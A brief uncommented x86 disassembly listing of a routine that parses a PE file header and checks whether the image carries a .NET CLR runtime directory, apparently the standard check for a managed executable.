cmp word [eax], cx
jne 0x401c4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c4d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c4d
cmp dword [ecx + 0x74], 0xe
jbe 0x401c4d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret